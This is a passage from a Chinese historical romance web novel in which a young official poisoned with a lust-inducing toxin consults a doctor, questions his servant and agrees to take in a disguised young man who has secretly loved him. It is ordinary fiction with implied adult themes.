梁蕴品想了又想,将额角敲出红印依旧毫无头绪,只好整肃心情,将一心遣出去买衣裳请大夫,他自己则静坐于案前,顺着思绪寻找这一切罪恶的根源——那个在背后指使一辉下药,想要至他于死地的人。
毫无疑问,那个人知道了天旨的内容,也知道梁家子一旦破了色戒,在女人身上留了种,等待四子的只剩终身的囚笼,但梁蕴品细思之下总觉不妥,他不认为是天旨降世给那人创造了机会,恰恰相反,或许从一开始,伪造天旨做局的人,就是他。
他将皇权与相权放在棋盘两端,以天旨为局眼,以太史令为第一颗棋,自己的近身随从为第二颗,环环相扣,步步紧逼,招招致命。
那个人与梁家必定有千丝万缕的联系,不是政敌,便是世仇。
可那人究竟是谁……若为政敌,父亲为天子近臣,多年来清正严苛,得罪了不少高阶官员,就连与他家交好,与父亲师出同门的左相吕祺也未必能避嫌;若是世仇,梁家世代为官,母亲栾夫人的母家亦为朝堂砥柱,妹妹更居妃位,一家子人树大招风,暗中结下的仇哪止一二。
梁蕴品越想越觉得心焦,越心焦便越难捋清思绪,在无法遏制的心乱如麻下,他惊异地发现——自己居然,又想了。
为什么?药性不是过去了么!
那阵熟悉的混沌感犹如恶鬼般缠了上来,脂粉香涌入梁蕴品的灵台,驱赶着清明的意识与理智,梁蕴品捏紧拳头,咬着牙闭着眼念起了清心咒,强迫自己冷静下来。
不能,不能再被淫。魔附体,他梁蕴品一生磊落,怎可为这脏药一次又一次地操控!
他宁死不屈从!
正当他准备以头抢柱,把自己撞晕之时,一心终于赶回来敲响了房门,“少爷,大夫请回来了,就在院外候着呢!衣裳在我手上,我给您和祁公子送进来?”
梁蕴品蓦地听到一心的声音,如得大赦,重重地呼了口气,还没发话便听得另一个清脆的声音响起,“你不能进去,让我来送。”
“啊?”
“我家少爷……哎,反正你不能进去!”
“……行!那就劳烦小哥了。”
一心将衣裳放在阿生手里,扭头朝梁蕴品简明扼要地介绍道,“少爷,这是您房中那位公子的随侍,叫……”
“阿生。”
“对,叫阿生!”<
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一心心中苦叹,终于问着这位忠仆的名字了,“他来伺候您们更衣,小的就守在门口,您看成么?”
“进来吧。”
阿生端着崭新的衣袍,吁了口气推门而入,却在看到房中乱状时依然乱了脚步。
他迅速回身掩上门,将一心挡在门外,又十分有眼力地先到梁蕴品身边行了个礼,目不斜视地伺候他穿衣,洗漱。
而陆宛就在他身后不到一尺的床榻上熟睡着,雕花屏风掩映着他单薄的身躯,影影绰绰叫人看不分明。
阿生伺候完,朝梁蕴品福了福身,“梁少爷既已穿戴整齐,小的便去伺候我家少爷了。望梁少爷看在您二人□□好的情面上,到别处寻个厢房看大夫,将此间留给我家少爷安睡吧。”
梁蕴品洗漱后神清气爽,方才的□□消了大半,头脑也清醒了不少,他点点头,刚想迈步却一愣,“慢着。”
他叫住阿生,抬眼扫了扫屏风后沉睡的男子,又转过头来上上下下地打量他,困惑道,“你方才唤他什么,少爷?”
阿生垂手而立,不卑不亢地看着梁蕴品,满满心声似是呼之欲出。
少顷,他轻笑一声,只答非所问地应了一句,却叫梁蕴品瞳孔骤缩,大惊失色。
“梁少爷昨夜在房中怕是没听见,我家少爷姓祁名璐,虽家道中落,却是有名有姓,正儿八经的良家。”
梁蕴品听懂了阿生的弦外之音,脸色一沉,三步并作两步走到门口,“哐”一下拉开了房门,又重重阖上。
“一心,过来回话!”
“……是!”
一心看着梁蕴品头也不回的身影,心中暗道完蛋,回头时却瞥见门缝间露出了半张精致小巧的脸,一只无波无澜的眼睛正与他平静地对视。
啧,怎么感觉这位忠仆……有点不待见他们主仆俩呢?
6. 6.心毒
“你自己说吧,你办的好差事。”
梁蕴品差清风阁的下人另辟了间厢房,一拂长袖端坐于案前,凌厉的眼神直逼得一心腿软。
“少,少爷……不若先让大夫进来为您诊脉?您的身体为重,等诊过了脉,我再同您细细分说,届时要罚要骂,悉听尊便……”
“呵。”梁蕴品看出一心试图转移话题,却也不好叫大夫久等,“请大夫过来罢。”
一心暂时躲过一劫,对梁蕴品的吩咐无有不依,手脚麻利地把大夫请到厢房,为梁蕴品诊起了脉。
“大夫,这药性十分猛烈,昨夜泄了一宿,今晨起身竟还有些……”
梁蕴品深知病患对大夫应当知无不言,仗着这大夫不认识自己,也顾不上廉耻心,将药性发作后的细节一五一十告知,叫一心听得一愣一愣的,大夫却越听眉头越紧,伸手撑开了梁蕴品的眼皮,又叫他伸出舌头。
“这症状……”
梁蕴品心中一沉,“大夫请直说,我都受得住。”
“公子放心,您暂时并无性命之忧,只是这症状……”大夫掂了掂手,低声道,“不像是中了一般的迷情药,倒像是中蛊。”
“蛊?”
一心惊呼起来,被梁蕴品狠狠瞪了一眼,捂着嘴道,“大夫要不要再多看几眼,如此阴狠之物,怎会出现在我家少爷体内……”
“哎,恕老夫才疏学浅,对蛊毒仅有三分了解,确实无法下定论。”大夫摇了摇头,愁眉道,“但听公子方才一番讲述,加之脉象所示,确实不似中了春药。须知春药虽叫男子阳气勃发,乱人心智,却不能叫人心性全改,甚至出现幻嗅、亢力、谵妄,退智等奇症异状。所以老夫才大胆猜测,或许是蛊……”
“……那有没有可能,是毒?”
梁蕴品面如死灰,却不甘心,“若是比春药更刁钻的毒药,也有可能,对吗?”
大夫点点头,又摇摇头,发出一声无奈的叹息,“无论是毒是蛊,想要根治,就得知道它是什么,眼下若无法溯源,老夫便不能为公子随意开药。哎,都怪老夫医术不精,惭愧,惭愧呀……”
梁蕴品收回搁在脉枕上的手,目光凝重地看向虚空一点,半晌才回过神,“大夫仁心仁术,此事怎能怪大夫……但请大夫告知,若无解药,我当如何尽力避免昨日失控之事再度发生?”
大夫想了想,问道,“公子在两次药性发作前,可曾有过什么相似的举动?譬如案牍劳形,活动过甚,等等。”
梁蕴品颔首沉思,突然眸色一凛,“……是忧思。”
“噢……既如此,老夫便送公子四个字。”大夫伸出四根手指,“内修外泄。”
“内修……外泄?”
“没错。”大夫放下手,顺势捋了捋白须,“若真如公子所言,忧思即为那毒物发作的‘引子’,理应少思,浅思才是。但老夫见公子气度不凡,又有读书人的清雅之质,即便尚未登科,来日亦将成为朝堂砥柱啊……因而深思少不了,忧思更是难免。”
梁蕴品苦笑一声,“大夫谬赞了,小生……确实无法当那无忧无虑的公子哥。”
“呵呵,无妨~只要公子照着这四个字去做,再配上些清心宁神之药每日服用,想必也能长久地将那毒物控制住,不至于摧心伤脏,危及性命。”
“小生自当遵从医嘱。”梁蕴品拱了拱手,“只是大夫说的‘内修外泄’,内修应是修心养性,不要轻易动怒,那么外泄是……”
“便如昨夜一般。”
大夫盯着梁蕴品的眸子,诚恳嘱咐道,“若一朝毒发,公子体内阳气暴动,必须寻个法子全泄出来,否则……”
“否则,会怎样?”
“毒入经脉,伤及神智,陷入疯癫,甚至……心竭而亡。”
“……”
梁蕴品微张着嘴,怔愣着垂下眼皮,耳边响起一阵嗡鸣,一心焦急追问的声音和大夫的回应都似乎被拉得很远。
……终究是一步步走入了贼人设好的囹圄,逃得了初一逃不了十五,自天旨降世之日始,这个为梁家精心打造的牢笼便原形毕露,不是要将他们囚于皇庭,便是要将他们困于生死。
看似自由身,半点不由人。
梁蕴品深深吸了口气,闭着眼强迫自己冷静下来,耳畔杂音逐渐散去,一心的声音也逐渐清晰——“那您看,若是用手……用手给自己解决,成么?”
“这个么……”大夫尴尬一笑,思忖片刻后很轻地摇了摇头,“若阳气乱流之时,公子还可保留神智,或许可行。但种种迹象表明,公子一旦毒发,灵台便很难保持清明,心智更是有所退化,若那时的他不肯用手,小哥又当如何强迫他呢?”
“啊,也对……”
一心苦恼地挠了挠头,“那有没有什么方子,药丸什么的,能叫我家公子随身带着泻火?万一他在外办事,突然急火攻心,咱们也不能……”
“一心,别问了,我心里有数。”
梁蕴品睁开眼,冲大夫颔首示意,“劳烦大夫再去替我瞧瞧隔壁那间厢房的公子罢,他被我……折腾了一夜,怕是染上了风寒,还有外伤。”
“好,好。”
“一心,送大夫过去。”
“……是。”
一心不情不愿地送走了大夫,回到厢房却见梁蕴品独自泡了壶茶,正捧着茶碗闻香品味,心里有些着急,“少爷倒是坐得定,我都快急死了。”
“急有何用?”梁蕴品抿了抿碗沿,面色索然,“幕后之人算无遗策,我已是瓮中鳖笼中雁,往后……怕是要与此毒物,纠缠一生了。”
“操!到底是谁要害您,还用如此阴毒的法子……”
一心怒火中烧,不由自主地回想起数月前的一日,在梁相一封家书的召唤下,他陪梁蕴品告假回汴都省亲。
那日大雨滂沱,他在家祠外的连廊下苦等了两个多时辰才等到了梁蕴品,而梁蕴品出来后面色苍白,失魂落魄,说的第一句话便是——“一心,从此往后,我便是孤家寡人了。”
一心起初并不理解这句话的深意,梁蕴品也缄默不言,一问只说“不能说”。直到离府前一日,他和二少爷的随侍二合一同被喊入主院训话,在梁相口中窥见了秘密的一角。
“你们都是府里的家生子,同哥儿们一起长大,是最忠心的。往后不仅要保护好他们的安全,还要时时告诫他们远离女色,下三路的地方决不能去,千金小姐也尽可能避开,明白了吗?”
“……明白。”
梁相耳提面命,一心和二合纷纷应下,却在彼此眼中都看到了深深的不解,直至今日。
“少爷,您同我说实话,小的会誓死保守秘密的……”一心半跪在梁蕴品跟前,眼底通红,“是不是朝中有奸人使了什么计谋,叫官家觉得梁家有谋反之心,才用少爷们的终身大事来制约梁大相公?
这次下毒……是否也是那奸人的手笔?若少爷您真在女人身上留了种,官家是不是会……”
梁蕴品看着处处为自己着想的一心,吁了口气,挤出一个宽慰的笑,“别问了,即便你说对了一二,我也无法将全貌如实告知。”
他摆摆手,让一心起身说话,“我只能告诉你,确实有那么个人想置梁家于死地,一日找不出此人是谁,梁家的困境便是死局,我的今天,或许会成为二弟三弟甚至四弟的明天。”
“那我便去找!掘地三尺也要找到他!”
一心激愤不已,还不忘出谋划策,“少爷,如今他既已行动,便是露出了马脚,一辉就是那只马脚!只要我们锲而不舍,顺藤摸瓜,一定能通过蛛丝马迹查到他的身份!”
梁蕴品有些动容地看着一心,拍了拍他的肩膀,“这倒与我想到一处了,一辉确实是破局的关键,更是解毒的关键。你派人去做吧,但注意,不要惊动父亲和母亲。”
“嗯?为何不能让大相公和夫人知道?万一那奸人也朝二少爷,三少爷他们下手……”
“三弟四弟年纪小,二弟在家中书塾准备今年的科考,平日里很少出门,且若在汴都动手,动静太大反而容易暴露。”
梁蕴品喝了口茶,心里却预想着父
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亲知道此事后的反应——以父亲忠心不二,板正严苛的性子,若是叫他知道自己成了一颗随时会爆炸的哑炮,怕是会敕令他即刻辞官,回家当个富贵闲人,从此孤独寂寥一生。
罢了,他已然失去了成家立室的资格,若连这顶乌纱帽都保不住,活着当真是无半分期待了。
“好吧,少爷若要瞒着,那瞒着就是了……只是大夫方才说了,少爷常常忧思,怕是会阳气暴动,需得及时外泄。小的只是觉得纸包不住火,担心一朝东窗事发……”
“说到这个,”梁蕴品饮茶的手一顿,“昨晚到底是怎么回事?”
“……”
“我让你找个干净的人来伺候,你给我找了个良家,还是个富贵少爷?”
梁蕴品的目光宛如针尖,直戳得一心心虚不已,他挠了挠头,将昨夜院中发生之事一一道来,还举起三指放到头顶,“我发誓我没有强迫祁少爷!他是自愿的!只是……只是我过后也发现此举不妥,若他卖身入了清风阁,那即便有人参您一本,大不了也就是个狎妓,可他是良民,若真有人拿他做文章,那可真是害惨您了。”
“呵,你倒不傻,这会儿反应过来了。”
梁蕴品听完一心转述男子的自荐,脸上青一阵白一阵的,心中说不出是个什么滋味,“但我不是担心有人参我,我只是觉得……对不住他。”
“对不住?噢我明白了,少爷,您昨晚……确实挺凶的……”
“不是这个。”
梁蕴品垂下头掐了掐眉心,有些无奈,“他惨遭变故,才失了双亲,又被亲戚侵吞了家产……若放在平时,即便我不是湖州的父母官,也理应管这一档子事。可你现在弄得……”
“嘶~那,这,这可怎么办……”
一心一敲脑壳,也知道自己错了,眼珠转了半晌也不知如何弥补是好,于是“灵机一动”,给梁蕴品出了个馊主意,“少爷,您要是觉得对不住人家,不如就……把他给收了?”
“你说什么?”
梁蕴品侧过头睨着一心,目光还带了些震惊,“收了他?”
“人家清清白白一个少爷,即便是有卖身的意愿,如今也还是良民,我收他,做外室还是做妾?”
梁蕴品说着说着挺直了腰,屈起手指往桌面磕了几下,正色道,“更何况我们只是露水姻缘,彼此之间毫无感情,我收他做什么?”
“这……我也是听了大夫的话才想到的嘛~”
一心尴尬一笑,着急忙慌地替自己辩解,“少爷方才也听到了,他身体羸弱,又是个孤子,即便您为他伸张正义,还他再多的钱,将来没人扶持还是会被恶人侵占了去,倒不如收了房,亲自护着他,让他在府里当个富贵鸟儿……”
一心瞧着梁蕴品的脸色越来越阴沉,声音逐渐矮了下去,心知又是要挨骂了,可等了好一阵儿他也没等到梁蕴品的训斥,心中莫名腾起一个念头——难不成少爷被我说动了?
“唉,收房的事莫要再提,若叫人听见,太冒犯了。”
梁蕴品没再指责,只是叹了口气,“眼下最紧要的还是找到一辉,跟着他查出幕后之人,找到这毒物的根源,至于泻火一事……再从长计议吧。”
“是,少爷。”
“对了,”梁蕴品忽然想起了什么,皱着眉头瞥了一心一眼,“昨夜是你同他们说我被下了药?下次注意些罢,隔墙有耳,万一被有心之人听去,怕是会横生枝节。”
“哦,知道了少爷~”
一心点点头,端起茶壶欲给梁蕴品添一壶水,却顿在原地,“诶,不对啊?”
他转过身,困惑地看向梁蕴品,“少爷,我没跟任何人说您被下药之事啊!”
“……你没说?”
那阿生怎会如此笃定,大夫是为我而请的……
梁蕴品眸色一沉,心中登时闪过一抹疑虑。
“真没说啊少爷,您是知道我的,我虽然……少爷,少爷您去哪儿!等等我少爷……”
不等一心说完,梁蕴品将茶碗一放,长袖一挥离开了厢房。
7. 7.交锋
“大夫,我家少爷身体如何了?”
“唔……”
大夫一手托着一只纤细的手腕,一手把着脉,眉头紧皱,“这位公子有些发热,但不打紧,吃些药发发汗就能压下去。体外有瘀伤,往伤患处抹些消肿祛瘀的膏药,数日便可痊愈,也不打紧。只是……”
“只是什么?”阿生捏紧了手中的汗巾,面露忧色。
“只是这位公子,身体似乎比寻常男儿更弱一些……”
大夫思忖片刻,还是打算实话实说,“公子平日里可曾觉得丹田乏力,体虚怕冷,甚至有……不举之症?”
那只纤细的手腕几不可察地抖了一下,手指微微蜷起,一个喑哑却不失温和的声音从屏风内传出,“大夫医术高明,小生确有此症,但此乃胎里不足所致,这么多年的补药吃下来也毫无长进,大夫也无需太放在心上,只治好我的寒症和外伤即可。”
“哦~原来如此,那我便开一些温和的药给公子罢。”
大夫收回切脉的手,心中却在嘀咕:这脉象,哪里是什么“胎里不足”?
古今医鉴有言——男寸胜尺,女尺胜寸,讲得就是男女在脉象上的区别。男子的脉相沉稳有力,阳有余,脉在上,尺脉弱而寸脉强,女子则阴有余,脉在下,尺脉强而寸脉微。
可这位公子的脉象……尺脉竟与寸脉同台争锋,虚实相当,叫他一上手差点会错了病患的身份。
可为何会出现这种脉象?大夫百思不得其解,忍不住又隔着屏风多看了两眼床上的男子。
男子只着一身中衣,披一件外袍靠坐在床头,长发松松垮垮地束起,看着是男人的装束无误,可他身型极为瘦削,方才伸出的那只手也纤弱过了头,还不允许他察看□□以治外伤……
若不是他骨架和脉象仍有男子的特征,大夫几乎就要认定,这是个女扮男装的女子了。
“咳咳咳,那便劳烦大夫了……”
陆宛见大夫起身,轻咳几声道了谢,又抬眼制止了正要送客的阿生,有些突兀地一转话题道,“不知大夫可否告知,我家官人……身体有无大碍?”
“你家官人?噢,是方才那位公子。”
“是。”陆宛脸不红心不跳,“我是他昨日情急之下收的外室,从此便是他的人了……见他被那下作的药折磨得情智尽失,小生很是担忧。”
“原来如此。”大夫眼珠子转了两下,打了个哈哈道,“二位既已成为一家人,闲聊之际想必也能无话不谈,请恕老夫不能直言他人之症,公子还是……”
“我知大夫的难处!”
陆宛见大夫口风紧,心里有些急,便探出身子做出挽留的姿势,“但大夫有所不知……我乃官人的竹马交,打小与官人一同长大,深知他的个性。他素来能忍则忍,心事全然吞进肚子里,必不会如实告知,叫我担忧的!”
“这……”
“恳请大夫透露一二。”陆宛直起上身,隔着屏风冲大夫虚虚作了一揖,“我只想知道官人的身体可好,有没有被那毒物……伤及根本?”
“伤及根本倒不至于,只是……哎,老夫也不好明说呀。”
大夫见陆宛如此焦急,也瞧出来他是真心担忧,犹豫片刻还是漏了一句话,“但公子若是那位公子的房中人,且听老夫一句,日后须得好好保养自身呐~老夫这就去多开些外用的膏药给您备着,但愿那位公子能在您的疏导下……呃,呵呵,老夫不便多说了,见谅,见谅。”
保养自身,外用膏药……
陆宛的心一下沉了下来——莫非梁大哥中的不是什么普通的迷情药,而是叫他日后时常发作,不能自控的慢性毒药?
是谁如此下作,竟想出了如此恶毒的法子折辱梁大哥?
他眸色暗了下去,沉默片刻才勉强打起精神,冲大夫颔了颔首,“大夫一字千金,小生铭感五内。阿生,替我封个红包给大夫,聊表心意。”又朝阿生偏了偏头,“去送大夫回医馆罢,顺道将我的药取回来,若梁大哥也有药……也一并取回来罢。”
“一并?”
阿生一进屏风便瞧见陆宛一身的伤,气本就不打一处来,此刻还没完全消下去,“呵,少爷的药我自然不会假手他人,但他的药经了我手,他还能放心用么?况且他自己也有仆从,那个叫一心的,还在外面睡了一夜呢,我可是一夜没合眼,凭什么让我去伺候他……”
陆宛颇感无奈,“好阿生……”
“少爷你别用这个眼神看着我。”阿生别过脸去,“您先回答我第一个问题——我若把药取了回来,梁少爷不吃,可如何是好?”
“……那我便先吃,为他试药。”
陆宛看着阿生,露出恳切的神情,低声劝道,“阿生,若放在平常,我绝不会出手干预他的事,可今时不同往日,有人要害他,而他此刻身边只有一心,万一那贼人一招未落一招又起,我只担心……”
“好了好了,我去,我去便是了!”
阿生怒气腾腾地走到大夫身旁做了个“请”的姿势,边引路边不住地念叨着,“少爷当真是昏了头了,自己都成这样了,还让我去伺候他们!我伺候个……”
门“吱呀”一声开了,门外二人与门内的阿生面面相觑,阿生怔愣片刻,脸上露出了罕见的惊惶的神情。
“你们……”
话一出口阿生便知不妥,连忙退后半步行了个大礼,心虚道,“公子怎地过来了,小的刚要送大夫出门,到医馆取药呢。”
陆宛听见阿生的见礼,瞳孔一怔,心猛地一颤——他来了?他一直在门外么?
他听到了多少?
“嗯。”
梁蕴品垂着眼皮,面无表情地看着刚刚还在口吐芬芳的阿生,不露声色道,“去罢。”
又微微侧过身冲一心使了个眼色,“你也去。”
“可是……”
一心有些担心梁蕴品的安全,踌躇着不肯挪步。
方才他追着少爷来到祁璐房前,还没喘口气便听到了震耳欲聋的一句话,“那我便先吃,为他试药。”
此话一出,门外二人顿时傻了眼,一心瞪大双眼难以置信地看向梁蕴品,却见梁蕴品面色不霁,眉头紧蹙,脸上露出了极深的困惑。
……当然困惑了,换做是他也困惑啊!
这看似柔弱的良家少爷,竟能牺牲自己,为折腾了自己一夜的露水情缘试药?
少爷和他……难道有什么过命的情分在吗?
还不等二人反应,房中便传来一阵私语,窸窸窣窣叫他们听不分明,紧接着,阿生骂骂咧咧地打开了门,把他们也吓了一跳。
眼见阿生态度虽然恭敬,身上那股冷漠劲儿却不像装的,一心哪敢离开梁蕴品半步,可转念一想,正因阿生恼了他们,他才应该跟着去拿药,顺带还能探探口风,而房中那位病秧子少爷……看着也不像有恶意的样子。
这样想着,一心点点头,朝梁蕴品一拱手,“少爷当心,我去去就回。”
“嗯。”
门页阖上,梁蕴品先是迈着步子往里走,又生生顿在了屏风之前。
熟悉的荷叶冷香伴随着昨夜的一切涌入脑海,叫他莫名生怯,他想起男子方才那句话,内心的疑团越滚越大——他们认识么?他为何要这么帮自己?
从阿生知晓他中了迷药一事,到方才他听见的只言片语,梁蕴品几乎认定此人对他并不陌生,甚至了如指掌。
只是那未曾宣之于口的到底是善意还是算计,昨夜的相遇究竟是蓄谋还是意外,他都不敢轻易下定论……与梁府有过节之人实在太多,包着砒霜的糖霜固然甜美,但稍不留神便是百毒穿心。
两人隔着屏风无言对峙良久,久到天色大晴,清风阁内恢复了莺歌燕语,屏风内的男子似乎不胜体力般晃了晃,梁蕴品才回过神来。
他转身寻了张凳子坐下,轻咳两声,装作漫不经心地客套道,“昨夜……辛苦你了。你现下感觉如何?”
“还好,公子有心了。”
声音不冷不热
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,倒不如方才试药那句来得热络了……梁蕴品啖了口茶,不动声色地继续试探,“今晨起身发现你身体有些热,许是叫你感染了风寒。”
“嗯,不打紧。”
“……那需要我叫人打桶热水进来,伺候你沐浴洗漱么?毕竟昨晚弄进去……”
屏风后的身影似乎撇开了脸,缓了口气淡淡道,“无妨,方才阿生已经为我清洗过了。”
停顿片刻又多解释了半句,“我正在发热,大夫说此时不好沐浴。”
“噢……”
梁蕴品无言以接,场面一时陷入僵局,却叫他浑身不适起来。
在他混沌的记忆中,这个柔弱斯文的男子几乎有求必应,有问必答,怎的自己一清醒便不配他的好言好语了?
何况他身子如此特殊,为何要让阿生来给他清洗……纵然病了,乏了,难道不能克服一下,或是把自己喊进来?
便这般不避讳别的男人么?
想到这,一股酸胀的情绪莫名涌上梁蕴品的心头,清风阁上好的雨前龙井也叫他品不出味了,他只好放下茶盏,黑着脸默不作声,直到榻上之人寒气上行,低低咳了数声,梁蕴品才觉出不对来——
他怕是被那毒物魇了心了,他有什么权利干涉人家主仆之事?
梁蕴品垂下眼,兀自冷静片刻,突然换了一副公事公办的语气,“祁公子昨夜帮了我,不知想要什么报答?”
男子止了咳,回应很快,“公子的仆从昨夜允我四百两,这些银钱……买我如今这条贱命都够了,更何况只是买我一夜。”
梁蕴品听着,不由得皱起了眉,“祁公子莫要妄自菲薄。我听说了你的遭遇,对令尊令堂的意外逝世感到惋惜,也十分痛恨那侵田霸产之人。若你有需要,我或许可以帮你夺回家产。”
“公子的心意,祁璐心领了。”
男子端坐着,朝梁蕴品欠了欠身,声音却十分无动于衷,“只是那群亲戚十分难缠,到手的肥肉若飞了,自不会轻易放过我,还会将公子牵扯其中。此事……还是算了罢,便不劳烦公子挂心了。”
“我既要还你人情,便不怕牵扯其中,怎么,你居然怕了?”
梁蕴品目光若有似无地掠过屏风,似乎想要透过绢布看清那人的面容,“若祁公子对性命安危有所顾虑,大可等夺回家产后,多寻几个打手贴身保护着,总不见得因噎废食,捡了芝麻,丢了西瓜吧。”
此番话一出,屏风后的人沉默了,静坐许久才挤出一句话,“公子与我素未谋面,即便是要还我人情,为何不直接赠予我更多的银钱,而是要舍近求远,帮我这么大一个忙?”
呵,自然是要探探你的虚实,梁蕴品想。
无论昨夜是意外还是算计,这个男子的出身都不可能是实话,从谎言入手,是追查真相最便捷的途径。
但梁蕴品自然不能如实回答,他只是轻笑一声,十分磊落且自然地答道,“祁公子当真是小瞧了昨夜之举对我的意义……罢了,便当是我知恩求报,想要还公子一个我力所能及的人情,无论其间付出多少,我都甘之如饴。妥否?”
屏风内之人愣了一下,几不可察地偏了偏头,与那端坐之人隔屏相望。
许久,他叹了口气,“公子可想好了,当真要还我一个‘力所能及’的人情?”
“自然。”
“……好。”
男子掀开被子下了地,十分艰难地穿上鞋子,绕过屏风,与梁蕴品的视线短暂相接。
梁蕴品耳根倏忽一红,昨夜旖旎的画面登时翻了上来,叫他不得不别过头缓息片刻。
男子垂下眼,信步走到梁蕴品跟前,突然双手抡圆前推,欲朝梁蕴品行一大礼,惊得梁蕴品“腾”一下子站了起来,手忙脚乱地托住了男子交叠的双手,不让他往下鞠躬。
“祁公子,你做什么?”
“若真要还我人情,便恳请公子……”男子双手下压,执意将礼行完,掌心被拇指指尖掐出了一道白印,“……收下我吧。”
8. 8.将错
陆宛垂着头,一步步踉跄却坚定地走向梁蕴品。
他面上无悲无喜,一颗心却如擂鼓般剧烈地跳动着,几乎要跳出他的胸腔。
崭新的中衣下,淌出的黏腻就挂在他腿上,可他来不及清理,也不想假手于人。
他骗了梁蕴品。阿生虽与他一同长大,在他病得不省人事时也曾为他擦拭全身,但这一回,终究是有些不一样。
从床榻到餐桌距离不过数尺,就在这短短几步间,陆宛的决心一步比一步坚定——他撒了个弥天大谎,却因此靠近了这个遥不可及的人,哪怕只有短暂的一夜。
万幸,他的谎言似乎并未被察觉,而这个人如今依然需要他,或者说需要一个长久的,泄欲的对象。
若暂时没有别人,为何不能是他?
父亲,母亲,原谅儿子的任性……陆宛心中念着,目光却不曾动摇分毫。
十八年来他恪守陆家嫡子的本分,侍奉父母,研学经营,画地为牢,独独在梁蕴品的事情上任性了一回又一回,可这回与以往几回都不相同,这一次,陆宛终于不用藏于暗处,他终于能大大方方地陪伴在梁蕴品身侧,独享与他的肌肤之亲
犹如莓果之于毒蛇,烛火之于飞蛾,魂牵梦系之人就在眼前,叫陆宛如何拒绝这天大的诱惑?
陆宛坚持行了长揖之礼,再抬头时已然脱胎换骨,成为那个无父无母,无依无靠的孤子“祁璐”。
他听见自己喑哑而脆弱的声音,如传说中的海妖般试图魅惑眼前心爱之人,“恳请公子,收下我吧。”
啪——
他行礼的手被梁蕴品狠狠搁下,几乎是砸在了他的大腿上。
“你说什么?”梁蕴品难以置信的声音传来,似乎还夹杂着一丝颤抖,“这就是你想要的报答?”
“是。”陆宛坚定答道。
“……”梁蕴品怔怔地看着陆宛,目光由震惊渐渐转为凛冽,最后凝聚成一把锋利的霜刀,恨不得从陆宛身上刮下一层伪装的皮。
“祁公子若是想阻止我为你讨回公道,明说便是了,不必寻个由头这般搪塞我。”梁蕴品沉声道, “难不成祁公子对那群亲戚仍有孺慕之情,竟舍不得他们吃官司,宁可委身于我也不愿夺回家产?”
“……公子误会了,祁璐并无此意。”
陆宛别开脸,不欲与梁蕴品对视,兀自“解释”道,“公子有所不知,我自小身体羸弱,就连当个闲散少爷也得日日捧着药罐子过活,幸得爹娘疼爱,从未苛求于我,故而有惊无险地成长到这般年岁。”
“但公子方才执意为我伸张正义,叫我与亲戚翻脸,夺回家产……敢问公子一句,您可曾想过我未来的日子?”
梁蕴品眯了眯眼,“祁公子什么意思,大可直说。”
“意思是……一个久病缠身的孤子,怀揣一大笔财富,周围群狼环伺,而他孤立无援。”陆宛眉心一蹙,陡然露出一副惶惶不可终日的模样来,“君子无罪,怀璧其罪,这个道理公子应当明白。”
梁蕴品眉头一挑,还未来得及细思这番话,陆宛又接着往下解释,“生意场上的明枪暗箭尔虞我诈,已叫我防不胜防,更遑论那些经营算账,御下治理的琐事了……敢问公子,若真叫我收回了家产,我一介不学无术的病秧子,又能守住它们多久?”
陆宛垂下眸子,诺诺结了一句,“故而祁璐才壮着胆子,向公子讨一隅偏安……比起夺回家产,我更期盼能得一瓦檐遮头,衣食无忧。只要我后半辈子康健安适,爹娘在九泉之下也可瞑目了。”
“瓦檐遮头,衣食无忧……”
梁蕴品喃喃数句,疑惑的目光依旧钉在陆宛身上,心中不知在盘算些什么。
良久,他蓦地一哂, “祁公子这番话有理有据,当真是叫人不得不信服。可在下仍有一问未解……不知祁公子是如何判断出,我便是那一片值得你托付的瓦檐?”
陆宛眸色一怔,似乎从未设想过这个问题。
他在心中苦笑:若是你不值得托付,这世上便再无任何人值得了。
“公子方才还劝我莫要妄自菲薄,”陆宛道,“现下我将这句话,原封不动地还给公子罢~”
“嗯?”梁蕴品一愣,“此话怎讲?”
“公子今晨起身,本可放下银子走人,却不忘为我备齐衣物,延请大夫,还亲自过来看我,为我谋划夺回家产之事……此皆乃君子之举,公子的人品毋庸置喙。然,君子论迹不论心,公子心里是怎么想的,世上再无第二人可知,只是……”
陆宛顿了顿,突然很轻地笑了一下。
“公子也瞧见了,我并无其他瓦檐可选,不是么?”
闻听此话,梁蕴品脸上罕见地出现了一丝裂纹,似乎并不满意陆宛对自己处境的概括,又似是不满别的,却纠结半晌也道不出一句反驳的话。
末了,他凝住眸子,晦暗不明地盯着陆宛的侧脸,沉声问,“你当真想好了?”
“是。”
上下贝齿一碰,陆宛平和的心境莫名又开始躁动,一颗心似骤雨过境,珠玉落盘,“砰砰”、“砰砰”地越跳越快。
“你可知……‘收房’意味着什么?”梁蕴品沉吟片刻,耳根处逐渐染上一层薄薄的绯色,“这片瓦檐,并非全无代价。”
“……知道。”
非但知道,还心甘情愿,求之不得。
梁蕴品默了默,忽然迈开脚,三两步拉近了二人之间的距离。
“公子——”
“看着我。”梁蕴品一手控住陆宛的腰,一手捏住他的下巴,将他一直不肯正对的脸不轻不重地别了过来,强迫他与自己对视,“看着我,再说一次你知道。”
陆宛半张着嘴,惶惑地对上梁蕴品漆黑的瞳——这还是他第一次看见清醒时的梁蕴品动粗的模样,从前的他总是遥远的,疏离的,稳重自持的,不苟言笑的。
但此时此刻,他却在他的眸中,看到了一丝隐忍的疯狂。
“妾身……”陆宛换了个自称,将双手微微抬起,轻轻搭在梁蕴品的腰间,“自愿同公子回家。从今往后,便是公子的人了。”
-
三日后,湖州赈灾一事彻底终了,梁蕴品拜别湖州知府,启程回往襄州。
“梁老弟,这次多亏你了!说要给你送些礼品聊表心意,你又一概不收,叫老哥我好生惭愧呀~”
张治骑着高头大马为梁蕴品送行,几次三番回头看向那辆来时还不见踪影的马车,满脸堆笑着低声试探道,“莫不是老弟收了别人送的,便不收我的了吧,诶,这可不公平哈~”
“……张大人言重了。”梁蕴品无奈一笑,顺着张治的目光向后看,“那是我母家的表弟,日前在江南道游玩,听闻我来此赈灾,顺道来看看我,与我同行回乡罢了,不是什么礼物。”
“噢~冒犯,冒犯了!”
张治心下大糗,忍不住又回头看了一眼,却瞧见马车帘缝中露出半张清俊的脸,虽谈不上国色,也叫人过目难忘。
啧,这梁家子含着金钥匙出生,生得俊俏也就罢了,怎地栾家的子弟也这般俊逸夺目,还让不让人活了!
张治摇摇头,将梁蕴品一行人从驿站送出城门,停下与之告别,“梁老弟,我还有公务在身,恕不远送了。此去一路顺风,布帆无恙啊~”
“好,张大人保重。”
